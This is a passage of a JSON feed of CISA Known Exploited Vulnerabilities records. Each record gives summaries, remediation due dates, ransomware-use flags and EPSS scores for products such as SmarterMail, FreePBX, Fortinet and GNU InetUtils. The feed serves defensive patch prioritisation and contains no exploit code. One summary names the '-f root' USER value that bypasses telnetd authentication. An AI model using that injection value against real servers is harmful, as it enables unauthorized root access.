use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-11953","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-11953 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-11953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-11953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-24423","cveId":"CVE-2026-24423","aliases":[],"kind":"vulnerability","title":"SmarterTools SmarterMail Missing Authentication for Critical Function Vulnerability","summary":"SmarterTools SmarterMail contains a missing authentication for critical function vulnerability in the ConnectToHub API method. This could allow the attacker to point the SmarterMail instance to a malicious HTTP server which serves the malicious OS command and could lead to command execution.","detail":"CISA added this entry on 2026-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-05","updatedAt":null,"regions":["Global"],"vendor":"SmarterTools","product":"SmarterMail","stacks":["SmarterTools","SmarterMail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-05","dueAt":"2026-02-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88177,"percentile":0.99765,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-24423&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-24423","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-24423 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24423&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-24423, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-19006","cveId":"CVE-2019-19006","aliases":[],"kind":"vulnerability","title":"Sangoma FreePBX Improper Authentication Vulnerability","summary":"Sangoma FreePBX contains an improper authentication vulnerability that potentially allows unauthorized users to bypass password authentication and access services provided by the FreePBX admin.","detail":"CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-03","updatedAt":null,"regions":["Global"],"vendor":"Sangoma","product":"FreePBX","stacks":["Sangoma","FreePBX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-03","dueAt":"2026-02-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55946,"percentile":0.99039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-19006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-19006","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-19006 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-19006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-19006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-39935","cveId":"CVE-2021-39935","aliases":[],"kind":"vulnerability","title":"GitLab Community and Enterprise Editions Server-Side Request Forgery (SSRF) Vulnerability","summary":"GitLab Community and Enterprise Editions contain a server-side request forgery vulnerability which could allow unauthorized external users to perform Server Side Requests via the CI Lint API.","detail":"CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-03","updatedAt":null,"regions":["Global"],"vendor":"GitLab","product":"Community and Enterprise Editions","stacks":["GitLab","Community and Enterprise Editions"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-03","dueAt":"2026-02-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3614,"percentile":0.98465,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-39935&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-39935","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-39935 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-39935&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-39935, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-40551","cveId":"CVE-2025-40551","aliases":[],"kind":"vulnerability","title":"SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability","summary":"SolarWinds Web Help Desk contains a deserialization of untrusted data vulnerability that could lead to remote code execution, which would allow an attacker to run commands on the host machine. This could be exploited without authentication.","detail":"CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-03","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Web Help Desk","stacks":["SolarWinds","Web Help Desk"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-03","dueAt":"2026-02-06","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84181,"percentile":0.99693,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-40551&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-40551","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-40551 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-40551&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-40551, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-64328","cveId":"CVE-2025-64328","aliases":[],"kind":"vulnerability","title":"Sangoma FreePBX OS Command Injection Vulnerability","summary":"Sangoma FreePBX Endpoint Manager contains an OS command injection vulnerability that could allow for a post-authentication command injection by an authenticated known user via the testconnection -> check_ssh_connect() function. An attacker can leverage this vulnerability to potentially obtain remote access to the system as an asterisk user.","detail":"CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-03","updatedAt":null,"regions":["Global"],"vendor":"Sangoma","product":"FreePBX","stacks":["Sangoma","FreePBX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-03","dueAt":"2026-02-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84618,"percentile":0.99701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-64328&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-64328","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-64328 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-64328&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-64328, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-1281","cveId":"CVE-2026-1281","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability","summary":"Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability that could allow attackers to achieve unauthenticated remote code execution.","detail":"CISA added this entry on 2026-01-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-29","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Mobile (EPMM)","stacks":["Ivanti","Endpoint Manager Mobile (EPMM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-29","dueAt":"2026-02-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98688,"percentile":0.99924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-1281&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-1281","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-1281 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-1281&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-1281, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-24858","cveId":"CVE-2026-24858","aliases":[],"kind":"vulnerability","title":"Fortinet Multiple Products Authentication Bypass Using an Alternate Path or Channel Vulnerability","summary":"Fortinet FortiAnalyzer, FortiManager, FortiOS, and FortiProxy contain an authentication bypass using an alternate path or channel that could allow an attacker with a FortiCloud account and a registered device to log into other devices registered to other accounts, if FortiCloud SSO authentication is enabled on those devices.","detail":"CISA added this entry on 2026-01-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-27","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"Multiple Products","stacks":["Fortinet","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-27","dueAt":"2026-01-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86592,"percentile":0.99737,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-24858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-24858","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-24858 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-24858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-14634","cveId":"CVE-2018-14634","aliases":[],"kind":"vulnerability","title":"Linux Kernel Integer Overflow Vulnerability","summary":"Linux Kernel contains an integer overflow vulnerability in the create_elf_tables() function which could allow an unprivileged local user with access to SUID (or otherwise privileged) binary to escalate their privileges on the system.","detail":"CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-26","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-26","dueAt":"2026-02-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14689,"percentile":0.96642,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-14634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-14634","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-14634 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-14634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-14634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-52691","cveId":"CVE-2025-52691","aliases":[],"kind":"vulnerability","title":"SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability","summary":"SmarterTools SmarterMail contains an unrestricted upload of file with dangerous type vulnerability that could allow an unauthenticated attacker to upload arbitrary files to any location on the mail server, potentially enabling remote code execution.","detail":"CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-26","updatedAt":null,"regions":["Global"],"vendor":"SmarterTools","product":"SmarterMail","stacks":["SmarterTools","SmarterMail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-26","dueAt":"2026-02-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85655,"percentile":0.99722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-52691&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-52691","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-52691 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-52691&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-52691, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21509","cveId":"CVE-2026-21509","aliases":[],"kind":"vulnerability","title":"Microsoft Office Security Feature Bypass Vulnerability","summary":"Microsoft Office contains a security feature bypass vulnerability in which reliance on untrusted inputs in a security decision in Microsoft Office could allow an unauthorized attacker to bypass a security feature locally. Some of the impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","detail":"CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-26","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-26","dueAt":"2026-02-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70795,"percentile":0.99394,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21509&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21509","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21509 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21509&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21509, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23760","cveId":"CVE-2026-23760","aliases":[],"kind":"vulnerability","title":"SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability","summary":"SmarterTools SmarterMail contains an authentication bypass using an alternate path or channel vulnerability in the password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the existing password or a reset token when resetting system administrator accounts. This could allow an unauthenticated attacker to supply a target administrator username and a new password to reset the account, resulting in full administrative compromise of the SmarterMail instance.","detail":"CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-26","updatedAt":null,"regions":["Global"],"vendor":"SmarterTools","product":"SmarterMail","stacks":["SmarterTools","SmarterMail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-26","dueAt":"2026-02-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96432,"percentile":0.9988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-23760&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-23760","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-23760 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23760&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-23760, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-24061","cveId":"CVE-2026-24061","aliases":[],"kind":"vulnerability","title":"GNU InetUtils Argument Injection Vulnerability","summary":"GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a \"-f root\" value for the USER environment variable.","detail":"CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-26","updatedAt":null,"regions":["Global"],"vendor":"GNU","product":"InetUtils","stacks":["GNU","InetUtils"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-26","dueAt":"2026-02-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98984,"percentile":0.99929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-24061&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-24061","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-24061 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24061&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-24061, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-37079","cveId":"CVE-2024-37079","aliases":[],"kind":"vulnerability","title":"Broadcom VMware vCenter Server Out-of-bounds Write Vulnerability","summary":"Broadcom VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol. This could allow a malicious actor with network access to vCenter Server to send specially crafted network packets, potentially leading to remote code execution.","detail":"CISA added this entry on 2026-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-01-23","updatedAt":null,"regions":["Global"],"vendor":"Broadcom","product":"VMware vCenter Server","stacks":["VMware","Broadcom","VMware vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-01-23","dueAt":"2026-02-13","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22377,"percentile":0.97675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-37079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-37079","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-01-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-37079 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-37079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for 